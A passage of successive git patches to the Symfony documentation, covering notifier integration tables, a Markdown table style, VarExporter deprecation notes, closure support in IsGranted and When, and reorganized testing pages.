@@ -392,6 +393,10 @@ Service                                  Package                               D
     The ``Gitter`` integration was removed in Symfony 7.2 because that service
     no longer provides an API.
 
+.. versionadded:: 7.3
+
+    The ``Matrix`` integration was introduced in Symfony 7.3.
+
 .. warning::
 
     By default, if you have the :doc:`Messenger component </messenger>` installed,
@@ -1259,6 +1264,7 @@ is dispatched. Listeners receive a
 .. _`LOX24`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Lox24/README.md
 .. _`Mailjet`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mailjet/README.md
 .. _`Mastodon`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mastodon/README.md
+.. _`Matrix`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Matrix/README.md
 .. _`Mattermost`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mattermost/README.md
 .. _`Mercure`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Mercure/README.md
 .. _`MessageBird`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/MessageBird/README.md

From 2f957375486c4aa8e15733987d987738aa0c34f2 Mon Sep 17 00:00:00 2001
From: Alexander Menk <a.menk@imi.de>
Date: Fri, 14 Feb 2025 14:42:17 +0100
Subject: [PATCH 6718/7107] [Console] Add markdown format to Table

---
 components/console/helpers/table.rst | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 13bdeb491f0..1f90512af7b 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -181,11 +181,27 @@ The table style can be changed to any built-in styles via
     // same as calling nothing
     $table->setStyle('default');
 
-    // changes the default style to compact
+    // changes the default style to markdown
+    $table->setStyle('markdown');
+    $table->render();
+
+This outputs the table in the Markdown format:
+
+.. code-block:: terminal
+
+    | ISBN          | Title                    | Author           |
+    |---------------|--------------------------|------------------|
+    | 99921-58-10-7 | Divine Comedy            | Dante Alighieri  |
+    | 9971-5-0210-0 | A Tale of Two Cities     | Charles Dickens  |
+    | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
+    | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
+
+You can also set the style to ``compact``::
+
     $table->setStyle('compact');
     $table->render();
 
-This code results in:
+The output of this command will be:
 
 .. code-block:: terminal
 

From 0f887b0c50b7b93a1eed0c2547f951f11a669630 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 17 Feb 2025 08:32:39 +0100
Subject: [PATCH 6719/7107] Added the versionadded directive

---
 components/console/helpers/table.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 1f90512af7b..9d6fdb0ee61 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -196,6 +196,10 @@ This outputs the table in the Markdown format:
     | 960-425-059-0 | The Lord of the Rings    | J. R. R. Tolkien |
     | 80-902734-1-6 | And Then There Were None | Agatha Christie  |
 
+.. versionadded:: 7.3
+
+    The ``markdown`` style was introduced in Symfony 7.3.
+
 You can also set the style to ``compact``::
 
     $table->setStyle('compact');

From 2af4cbece3c63074ea77e2a3bae2717b03c89e07 Mon Sep 17 00:00:00 2001
From: Sherin Bloemendaal <sherinbloemendaal@outlook.com>
Date: Mon, 17 Feb 2025 15:27:01 +0100
Subject: [PATCH 6720/7107] Remove per-property support, dropped in Symfony 7.0

---
 components/var_exporter.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 6aa4279788e..fc6b34868db 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -264,17 +264,6 @@ While you never query ``$processor->hash`` value, heavy methods will never be
 triggered. But still, the ``$processor`` object exists and can be used in your
 code, passed to methods, functions, etc.
 
-Additionally and by adding two arguments to the initializer function, it is
-possible to initialize properties one-by-one::
-
-    $processor = LazyHashProcessor::createLazyGhost(initializer: function (HashProcessor $instance, string $propertyName, ?string $propertyScope): mixed {
-        if (HashProcessor::class === $propertyScope && 'hash' === $propertyName) {
-            // Return $hash value
-        }
-
-        // Then you can add more logic for the other properties
-    });
-
 Ghost objects unfortunately can't work with abstract classes or internal PHP
 classes. Nevertheless, the VarExporter component covers this need with the help
 of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.

From 63ee2e46cb2ee6923d2fb1a54ce38a85971f9459 Mon Sep 17 00:00:00 2001
From: Sherin Bloemendaal <sherinbloemendaal@outlook.com>
Date: Mon, 17 Feb 2025 15:40:38 +0100
Subject: [PATCH 6721/7107] Add deprecation notice for propertyName and
 propertyScope in initializer (Symfony 6.4)

---
 components/var_exporter.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 46471dca1d9..cb935c22da4 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -285,6 +285,12 @@ possible to initialize properties one-by-one::
         // Then you can add more logic for the other properties
     });
 
+.. deprecated:: 6.4
+
+   The use of ``propertyName`` and ``propertyScope`` in the initializer function
+   is deprecated since Symfony 6.4 and will be removed in Symfony 7.0.
+   The initializer should now handle the entire object initialization at once.
+
 Ghost objects unfortunately can't work with abstract classes or internal PHP
 classes. Nevertheless, the VarExporter component covers this need with the help
 of :ref:`Virtual Proxies <var-exporter_virtual-proxies>`.

From 044c5aa27a5838109efe5572d0cf910bb9dac614 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Feb 2025 08:22:00 +0100
Subject: [PATCH 6722/7107] Add a deprecation notice

---
 components/var_exporter.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index fc6b34868db..e4d01ee6ecf 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -260,6 +260,11 @@ convert non-lazy classes to lazy ones::
         $instance->validateHash();
     });
 
+.. deprecated:: 7.0
+
+    The ``initializer`` function allowed passing two arguments to it to initialize
+    properties one by one. This feature was removed in Symfony 7.0.
+
 While you never query ``$processor->hash`` value, heavy methods will never be
 triggered. But still, the ``$processor`` object exists and can be used in your
 code, passed to methods, functions, etc.

From e1faee99e859ae8d17128aef1bb007dd0c8d619a Mon Sep 17 00:00:00 2001
From: Jenne van der Meer <jennevdmeer@impulze.net>
Date: Tue, 18 Feb 2025 06:48:43 -0800
Subject: [PATCH 6723/7107] Bundle example does not implement
 `CompilerPassInterface`

---
 service_container/compiler_passes.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst
index 11458a4e8e3..096c60c2642 100644
--- a/service_container/compiler_passes.rst
+++ b/service_container/compiler_passes.rst
@@ -77,10 +77,11 @@ bundle class::
     namespace App\MyBundle;
 
     use App\DependencyInjection\Compiler\CustomPass;
+    use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class MyBundle extends AbstractBundle
+    class MyBundle extends AbstractBundle implements CompilerPassInterface
     {
         public function process(ContainerBuilder $container): void
         {

From 80eb561c2e4245739bb0fde0b7685728fdd832ae Mon Sep 17 00:00:00 2001
From: Michael Babker <michael@happydog.digital>
Date: Tue, 18 Feb 2025 09:39:54 -0600
Subject: [PATCH 6724/7107] Make tag aware config examples consistent

---
 cache.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/cache.rst b/cache.rst
index 0072e9cfd52..2dec1e6a758 100644
--- a/cache.rst
+++ b/cache.rst
@@ -603,6 +603,7 @@ to enable this feature. This could be added by using the following configuration
                 pools:
                     my_cache_pool:
                         adapter: cache.adapter.redis_tag_aware
+                        tags: true
 
     .. code-block:: xml
 
@@ -619,7 +620,7 @@ to enable this feature. This could be added by using the following configuration
             <framework:config>
                 <framework:cache>
                     <framework:pool name="my_cache_pool"
-                        adapter="cache.adapter.redis"
+                        adapter="cache.adapter.redis_tag_aware"
                         tags="true"
                     />
                 </framework:cache>
@@ -635,7 +636,7 @@ to enable this feature. This could be added by using the following configuration
             $framework->cache()
                 ->pool('my_cache_pool')
                     ->tags(true)
-                    ->adapters(['cache.adapter.redis'])
+                    ->adapters(['cache.adapter.redis_tag_aware'])
             ;
         };
 

From 659937bf44de6b414936d27bebd9f5818fad6b05 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 18 Feb 2025 17:08:11 +0100
Subject: [PATCH 6725/7107] [Notifier] Reformat the tables that list the
 service integrations

---
 notifier.rst | 110 ++++++++++++++++++++++++++++++++-------------------
 1 file changed, 69 insertions(+), 41 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 36fbd5ada89..2382dfee284 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -350,30 +350,50 @@ The chat channel is used to send chat messages to users by using
 :class:`Symfony\\Component\\Notifier\\Chatter` classes. Symfony provides
 integration with these chat services:
 
-=======================================  ====================================  =============================================================================
-Service                                  Package                               DSN
-=======================================  ====================================  =============================================================================
-`AmazonSns`_                             ``symfony/amazon-sns-notifier``       ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
-`Bluesky`_                               ``symfony/bluesky-notifier``          ``bluesky://USERNAME:PASSWORD@default``
-`Chatwork`_                              ``symfony/chatwork-notifier``         ``chatwork://API_TOKEN@default?room_id=ID``
-`Discord`_                               ``symfony/discord-notifier``          ``discord://TOKEN@default?webhook_id=ID``
-`FakeChat`_                              ``symfony/fake-chat-notifier``        ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
-`Firebase`_                              ``symfony/firebase-notifier``         ``firebase://USERNAME:PASSWORD@default``
-`GoogleChat`_                            ``symfony/google-chat-notifier``      ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
-`LINE Bot`_                              ``symfony/line-bot-notifier``         ``linebot://TOKEN@default?receiver=RECEIVER``
-`LINE Notify`_                           ``symfony/line-notify-notifier``      ``linenotify://TOKEN@default``
-`LinkedIn`_                              ``symfony/linked-in-notifier``        ``linkedin://TOKEN:USER_ID@default``
-`Mastodon`_                              ``symfony/mastodon-notifier``         ``mastodon://ACCESS_TOKEN@HOST``
-`Mattermost`_                            ``symfony/mattermost-notifier``       ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
-`Mercure`_                               ``symfony/mercure-notifier``          ``mercure://HUB_ID?topic=TOPIC``
-`MicrosoftTeams`_                        ``symfony/microsoft-teams-notifier``  ``microsoftteams://default/PATH``
-`RocketChat`_                            ``symfony/rocket-chat-notifier``      ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-`Slack`_                                 ``symfony/slack-notifier``            ``slack://TOKEN@default?channel=CHANNEL``
-`Telegram`_                              ``symfony/telegram-notifier``         ``telegram://TOKEN@default?channel=CHAT_ID``
-`Twitter`_                               ``symfony/twitter-notifier``          ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
-`Zendesk`_                               ``symfony/zendesk-notifier``          ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
-`Zulip`_                                 ``symfony/zulip-notifier``            ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
-======================================   ====================================  =============================================================================
+======================================   =====================================================================================
+Service
+======================================   =====================================================================================
+`AmazonSns`_                             **Install**: ``composer require symfony/amazon-sns-notifier`` \
+                                         **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
+`Bluesky`_                               **Install**: ``composer require symfony/bluesky-notifier`` \
+                                         **DSN**: ``bluesky://USERNAME:PASSWORD@default``
+`Chatwork`_                              **Install**: ``composer require symfony/chatwork-notifier`` \
+                                         **DSN**: ``chatwork://API_TOKEN@default?room_id=ID``
+`Discord`_                               **Install**: ``composer require symfony/discord-notifier`` \
+                                         **DSN**: ``discord://TOKEN@default?webhook_id=ID``
+`FakeChat`_                              **Install**: ``composer require symfony/fake-chat-notifier`` \
+                                         **DSN**: ``fakechat+email://default?to=TO&from=FROM`` or ``fakechat+logger://default``
+`Firebase`_                              **Install**: ``composer require symfony/firebase-notifier`` \
+                                         **DSN**: ``firebase://USERNAME:PASSWORD@default``
+`GoogleChat`_                            **Install**: ``composer require symfony/google-chat-notifier`` \
+                                         **DSN**: ``googlechat://ACCESS_KEY:ACCESS_TOKEN@default/SPACE?thread_key=THREAD_KEY``
+`LINE Bot`_                              **Install**: ``composer require symfony/line-bot-notifier`` \
+                                         **DSN**: ``linebot://TOKEN@default?receiver=RECEIVER``
+`LINE Notify`_                           **Install**: ``composer require symfony/line-notify-notifier`` \
+                                         **DSN**: ``linenotify://TOKEN@default``
+`LinkedIn`_                              **Install**: ``composer require symfony/linked-in-notifier`` \
+                                         **DSN**: ``linkedin://TOKEN:USER_ID@default``
+`Mastodon`_                              **Install**: ``composer require symfony/mastodon-notifier`` \
+                                         **DSN**: ``mastodon://ACCESS_TOKEN@HOST``
+`Mattermost`_                            **Install**: ``composer require symfony/mattermost-notifier`` \
+                                         **DSN**: ``mattermost://ACCESS_TOKEN@HOST/PATH?channel=CHANNEL``
+`Mercure`_                               **Install**: ``composer require symfony/mercure-notifier`` \
+                                         **DSN**: ``mercure://HUB_ID?topic=TOPIC``
+`MicrosoftTeams`_                        **Install**: ``composer require symfony/microsoft-teams-notifier`` \
+                                         **DSN**: ``microsoftteams://default/PATH``
+`RocketChat`_                            **Install**: ``composer require symfony/rocket-chat-notifier`` \
+                                         **DSN**: ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
+`Slack`_                                 **Install**: ``composer require symfony/slack-notifier`` \
+                                         **DSN**: ``slack://TOKEN@default?channel=CHANNEL``
+`Telegram`_                              **Install**: ``composer require symfony/telegram-notifier`` \
+                                         **DSN**: ``telegram://TOKEN@default?channel=CHAT_ID``
+`Twitter`_                               **Install**: ``composer require symfony/twitter-notifier`` \
+                                         **DSN**: ``twitter://API_KEY:API_SECRET:ACCESS_TOKEN:ACCESS_SECRET@default``
+`Zendesk`_                               **Install**: ``composer require symfony/zendesk-notifier`` \
+                                         **DSN**: ``zendesk://EMAIL:TOKEN@SUBDOMAIN``
+`Zulip`_                                 **Install**: ``composer require symfony/zulip-notifier`` \
+                                         **DSN**: ``zulip://EMAIL:TOKEN@HOST?channel=CHANNEL``
+======================================   =====================================================================================
 
 .. versionadded:: 7.1
 
@@ -569,18 +589,26 @@ The push channel is used to send notifications to users by using
 :class:`Symfony\\Component\\Notifier\\Texter` classes. Symfony provides
 integration with these push services:
 
-===============  ====================================  ==============================================================================
-Service          Package                               DSN
-===============  ====================================  ==============================================================================
-`Engagespot`_    ``symfony/engagespot-notifier``       ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
-`Expo`_          ``symfony/expo-notifier``             ``expo://Token@default``
-`Novu`_          ``symfony/novu-notifier``             ``novu://API_KEY@default``
-`Ntfy`_          ``symfony/ntfy-notifier``             ``ntfy://default/TOPIC``
-`OneSignal`_     ``symfony/one-signal-notifier``       ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
-`PagerDuty`_     ``symfony/pager-duty-notifier``       ``pagerduty://TOKEN@SUBDOMAIN``
-`Pushover`_      ``symfony/pushover-notifier``         ``pushover://USER_KEY:APP_TOKEN@default``
-`Pushy`_         ``symfony/pushy-notifier``            ``pushy://API_KEY@default``
-===============  ====================================  ==============================================================================
+===============  =======================================================================================
+Service
+===============  =======================================================================================
+`Engagespot`_    **Install**: ``composer require symfony/engagespot-notifier`` \
+                 **DSN**: ``engagespot://API_KEY@default?campaign_name=CAMPAIGN_NAME``
+`Expo`_          **Install**: ``composer require symfony/expo-notifier`` \
+                 **DSN**: ``expo://TOKEN@default``
+`Novu`_          **Install**: ``composer require symfony/novu-notifier`` \
+                 **DSN**: ``novu://API_KEY@default``
+`Ntfy`_          **Install**: ``composer require symfony/ntfy-notifier`` \
+                 **DSN**: ``ntfy://default/TOPIC``
+`OneSignal`_     **Install**: ``composer require symfony/one-signal-notifier`` \
+                 **DSN**: ``onesignal://APP_ID:API_KEY@default?defaultRecipientId=DEFAULT_RECIPIENT_ID``
+`PagerDuty`_     **Install**: ``composer require symfony/pager-duty-notifier`` \
+                 **DSN**: ``pagerduty://TOKEN@SUBDOMAIN``
+`Pushover`_      **Install**: ``composer require symfony/pushover-notifier`` \
+                 **DSN**: ``pushover://USER_KEY:APP_TOKEN@default``
+`Pushy`_         **Install**: ``composer require symfony/pushy-notifier`` \
+                 **DSN**: ``pushy://API_KEY@default``
+===============  =======================================================================================
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:
@@ -645,11 +673,11 @@ The desktop channel is used to display local desktop notifications on the same
 host machine using :class:`Symfony\\Component\\Notifier\\Texter` classes. Currently,
 Symfony is integrated with the following providers:
 
-===============  ====================================  ==============================================================================
-Provider         Package                               DSN
-===============  ====================================  ==============================================================================
-`JoliNotif`_     ``symfony/joli-notif-notifier``       ``jolinotif://default``
-===============  ====================================  ==============================================================================
+===============  ================================================  ==============================================================================
+Provider         Install                                           DSN
+===============  ================================================  ==============================================================================
+`JoliNotif`_     ``composer require symfony/joli-notif-notifier``  ``jolinotif://default``
+===============  ================================================  ==============================================================================
 
 .. versionadded:: 7.2
 

From 764e47d2fff954f9efe474264c53cb566bed4f6b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Feb 2025 11:58:00 +0100
Subject: [PATCH 6726/7107] [Notifier] Mention the extra info returned in
 Bluesky SentMessage

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 2a5877ee465..ebd2602328c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -365,6 +365,7 @@ Service
                                          **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 `Bluesky`_                               **Install**: ``composer require symfony/bluesky-notifier`` \
                                          **DSN**: ``bluesky://USERNAME:PASSWORD@default``
+                                         **Extra properties in SentMessage**:: ``cid``
 `Chatwork`_                              **Install**: ``composer require symfony/chatwork-notifier`` \
                                          **DSN**: ``chatwork://API_TOKEN@default?room_id=ID``
 `Discord`_                               **Install**: ``composer require symfony/discord-notifier`` \

From 4ddcc0829b6a68763e8105c38da96ca456669f36 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 19 Feb 2025 13:15:33 +0100
Subject: [PATCH 6727/7107] [Security] Add support for closures in the
 `IsGranted` attribute

---
 security/expressions.rst | 35 +++++++++++++++++++++++++++++++++++
 1 file changed, 35 insertions(+)

diff --git a/security/expressions.rst b/security/expressions.rst
index 569c7f093bf..dce52ee74ff 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -201,6 +201,41 @@ Inside the subject's expression, you have access to two variables:
 ``args``
     An array of controller arguments that are passed to the controller.
 
+Additionally to expressions, the ``#[IsGranted]`` attribute also accepts
+closures that return a boolean value. The subject can also be a closure that
+returns an array of values that will be injected into the closure::
+
+    // src/Controller/MyController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Security\Http\Attribute\IsGranted;
+    use Symfony\Component\Security\Http\Attribute\IsGrantedContext;
+
+    class MyController extends AbstractController
+    {
+        #[IsGranted(static function (
+            IsGrantedContext $context,
+            mixed $subject,
+        ) {
+            return $context->user === $subject['post']->getAuthor();
+        }, subject: static function (array $args) {
+            return [
+                'post' => $args['post'],
+            ];
+        })]
+        public function index($post): Response
+        {
+            // ...
+        }
+    }
+
+.. versionadded:: 7.3
+
+    The support for closures in the ``#[IsGranted]`` attribute was introduced
+    in Symfony 7.3 and requires PHP 8.5.
+
 Learn more
 ----------
 

From 95cdcf643d7c9b21d1d2df359339cff64ec2a76c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 Feb 2025 15:58:03 +0100
Subject: [PATCH 6728/7107] [Testing] Reorganize the introduction of some
 articles

---
 testing.rst            | 60 ++++++++++++++++++++++--------------------
 testing/end_to_end.rst | 44 +++++++++++++------------------
 2 files changed, 50 insertions(+), 54 deletions(-)

diff --git a/testing.rst b/testing.rst
index 4e719bc23d5..f786a01a83e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -5,14 +5,38 @@ Whenever you write a new line of code, you also potentially add new bugs.
 To build better and more reliable applications, you should test your code
 using both functional and unit tests.
 
-.. _testing-installation:
+Symfony integrates with an independent library called `PHPUnit`_ to give you a
+rich testing framework. This article covers the PHPUnit basics you'll need to
+write Symfony tests. To learn everything about PHPUnit and its features, read
+the `official PHPUnit documentation`_.
+
+Types of Tests
+--------------
+
+There are many types of automated tests and precise definitions often
+differ from project to project. In Symfony, the following definitions are
+used. If you have learned something different, that is not necessarily
+wrong, just different from what the Symfony documentation is using.
+
+`Unit Tests`_
+    These tests ensure that *individual* units of source code (e.g. a single
+    class) behave as intended.
+
+`Integration Tests`_
+    These tests test a combination of classes and commonly interact with
+    Symfony's service container. These tests do not yet cover the fully
+    working application, those are called *Application tests*.
+
+`Application Tests`_
+    Application tests (also known as functional tests) test the behavior of a
+    complete application. They make HTTP requests (both real and simulated ones)
+    and test that the response is as expected.
 
-The PHPUnit Testing Framework
------------------------------
+.. _testing-installation:
+.. _the-phpunit-testing-framework:
 
-Symfony integrates with an independent library called `PHPUnit`_ to give
-you a rich testing framework. This article won't cover PHPUnit itself,
-which has its own excellent `documentation`_.
+Installation
+------------
 
 Before creating your first test, install ``symfony/test-pack``, which installs
 some other packages needed for testing (such as ``phpunit/phpunit``):
@@ -44,28 +68,6 @@ your test into multiple "test suites").
     missing, you can try running the recipe again using
     ``composer recipes:install phpunit/phpunit --force -v``.
 
-Types of Tests
---------------
-
-There are many types of automated tests and precise definitions often
-differ from project to project. In Symfony, the following definitions are
-used. If you have learned something different, that is not necessarily
-wrong, just different from what the Symfony documentation is using.
-
-`Unit Tests`_
-    These tests ensure that *individual* units of source code (e.g. a single
-    class) behave as intended.
-
-`Integration Tests`_
-    These tests test a combination of classes and commonly interact with
-    Symfony's service container. These tests do not yet cover the fully
-    working application, those are called *Application tests*.
-
-`Application Tests`_
-    Application tests test the behavior of a complete application. They
-    make HTTP requests (both real and simulated ones) and test that the
-    response is as expected.
-
 Unit Tests
 ----------
 
@@ -1193,7 +1195,7 @@ Learn more
     /components/css_selector
 
 .. _`PHPUnit`: https://phpunit.de/
-.. _`documentation`: https://docs.phpunit.de/
+.. _`official PHPUnit documentation`: https://docs.phpunit.de/
 .. _`Writing Tests for PHPUnit`: https://docs.phpunit.de/en/10.5/writing-tests-for-phpunit.html
 .. _`PHPUnit documentation`: https://docs.phpunit.de/en/10.5/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 8a624ae884e..bb4a316f347 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -1,41 +1,35 @@
 End-to-End Testing
 ==================
 
-    The Panther component allows to drive a real web browser with PHP to create
-    end-to-end tests.
+End-to-end tests simulate how real users interact with your application through
+a browser. They focus on verifying your user interface and the outcomes of user
+actions (like confirming that clicking a button sends an email).
+
+Unlike :ref:`application tests <functional-tests>`, these tests run in a real
+browser that can work in headless mode (without a graphical interface) for CI
+environments or with a graphical interface for debugging.
+
+Symfony provides a component called **Panther** to run end-to-end tests. Panther
+lets you run tests in a real browser and offers unique features not available in
+other test types:
+
+* Taking screenshots at any point during the test;
+* Executing JavaScript on your pages;
+* Supporting everything Chrome or Firefox does;
+* Simpler testing of real-time applications (e.g. WebSockets, Server-Sent Events with Mercure).
 
 Installation
 ------------
 
+Before creating and running your first end-to-end tests, run the following command
+to install the needed dependencies:
+
 .. code-block:: terminal
 
     $ composer require symfony/panther
 
 .. include:: /components/require_autoload.rst.inc
 
-Introduction
-------------
-
-End to end tests are a special type of application tests that
-simulate a real user interacting with your application. They are
-typically used to test the user interface (UI) of your application
-and the effects of these interactions (e.g. when I click on this button, a mail
-must be sent). The difference with functional tests detailed above is
-that End-to-End tests use a real browser instead of a simulated one. This
-browser can run in headless mode (without a graphical interface) or not.
-The first option is convenient for running tests in a Continuous Integration
-(CI), while the second one is useful for debugging purpose.
-
-This is the purpose of Panther, a component that provides a real browser
-to run your tests. Here are a few things that make Panther special, compared
-to other testing tools provided by Symfony:
-
-* Possibility to take screenshots of the browser at any time during the test
-* The JavaScript code contained in webpages is executed
-* Panther supports everything that Chrome (or Firefox) implements
-* Convenient way to test real-time applications (e.g. WebSockets, Server-Sent Events
-  with Mercure, etc.)
-
 Installing Web Drivers
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 60726ca2729218286082d64c6b4fd3f10c55bf07 Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Thu, 20 Feb 2025 08:49:25 +0100
Subject: [PATCH 6729/7107] Add missing spaces in scheduler

---
 scheduler.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index 5bac82d98ae..271117f97dc 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -436,10 +436,10 @@ by adding one of these attributes to a service or a command:
 :class:`Symfony\\Component\\Scheduler\\Attribute\\AsCronTask`.
 
 For both of these attributes, you have the ability to define the schedule to
-use via the ``schedule``option. By default, the ``default`` named schedule will
+use via the ``schedule`` option. By default, the ``default`` named schedule will
 be used. Also, by default, the ``__invoke`` method of your service will be called
-but, it's also possible to specify the method to call via the ``method``option
-and you can define arguments via ``arguments``option if necessary.
+but, it's also possible to specify the method to call via the ``method`` option
+and you can define arguments via ``arguments`` option if necessary.
 
 .. _scheduler-attributes-cron-task:
 

From 67fd89cc7d7dbc756b1403ccc94060462ff786c4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Feb 2025 09:02:04 +0100
Subject: [PATCH 6730/7107] Minor typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index ebd2602328c..33ae95ef9e4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -365,7 +365,7 @@ Service
                                          **DSN**: ``sns://ACCESS_KEY:SECRET_KEY@default?region=REGION``
 `Bluesky`_                               **Install**: ``composer require symfony/bluesky-notifier`` \
                                          **DSN**: ``bluesky://USERNAME:PASSWORD@default``
-                                         **Extra properties in SentMessage**:: ``cid``
+                                         **Extra properties in SentMessage**: ``cid``
 `Chatwork`_                              **Install**: ``composer require symfony/chatwork-notifier`` \
                                          **DSN**: ``chatwork://API_TOKEN@default?room_id=ID``
 `Discord`_                               **Install**: ``composer require symfony/discord-notifier`` \

From 06e15d5555360305ace149aa2550c62682b6d36d Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 20 Feb 2025 12:59:49 +0100
Subject: [PATCH 6731/7107] [Validator] Add support for closures in the `When`
 constraint

---
 reference/constraints/When.rst | 25 +++++++++++++++++++++----
 1 file changed, 21 insertions(+), 4 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 22ae477365f..2674972a023 100644
--- a/reference/constraints/When.rst
+++ b/reference/constraints/When.rst
@@ -174,11 +174,12 @@ Options
 ``expression``
 ~~~~~~~~~~~~~~
 
-**type**: ``string``
+**type**: ``string|Closure``
 
-The condition written with the expression language syntax that will be evaluated.
-If the expression evaluates to a falsey value (i.e. using ``==``, not ``===``),
-validation of constraints won't be triggered.
+The condition as a closure or written with the expression language syntax
+that will be evaluated. If the closure return value or the evaluated expression
+is a falsey value (i.e. using ``==``, not ``===``), validation of constraints won't
+be triggered, and constraints of the ``otherwise`` option will, if provided.
 
 To learn more about the expression language syntax, see
 :doc:`/reference/formats/expression_language`.
@@ -200,6 +201,13 @@ in your expression:
 
     The ``context`` variable in expressions was introduced in Symfony 7.2.
 
+When using a closure, the first argument is the object being validated.
+
+.. versionadded:: 7.3
+
+    The support for closure in the ``expression`` option was introduced in Symfony 7.3
+    and requires PHP 8.5.
+
 The ``value`` variable can be used when you want to execute more complex
 validation based on its value:
 
@@ -215,11 +223,20 @@ validation based on its value:
 
         class Discount
         {
+            // either using an expression...
             #[Assert\When(
                 expression: 'value == "percent"',
                 constraints: [new Assert\Callback('doComplexValidation')],
             )]
+            // ... or using a closure
+            #[Assert\When(
+                expression: static function (Discount $discount) {
+                    return $discount->getType() === 'percent';
+                },
+                constraints: [new Assert\Callback('doComplexValidation')],
+            )]
             private ?string $type;
+
             // ...
 
             public function doComplexValidation(ExecutionContextInterface $context, $payload): void

From ec3d995f1c5a788d9749e33bcacce4938da82a82 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Feb 2025 16:27:15 +0100
Subject: [PATCH 6732/7107] Minor tweaks

---
 reference/constraints/When.rst | 21 ++++++++-------------
 1 file changed, 8 insertions(+), 13 deletions(-)

diff --git a/reference/constraints/When.rst b/reference/constraints/When.rst
index 2674972a023..7587f0c776c 100644
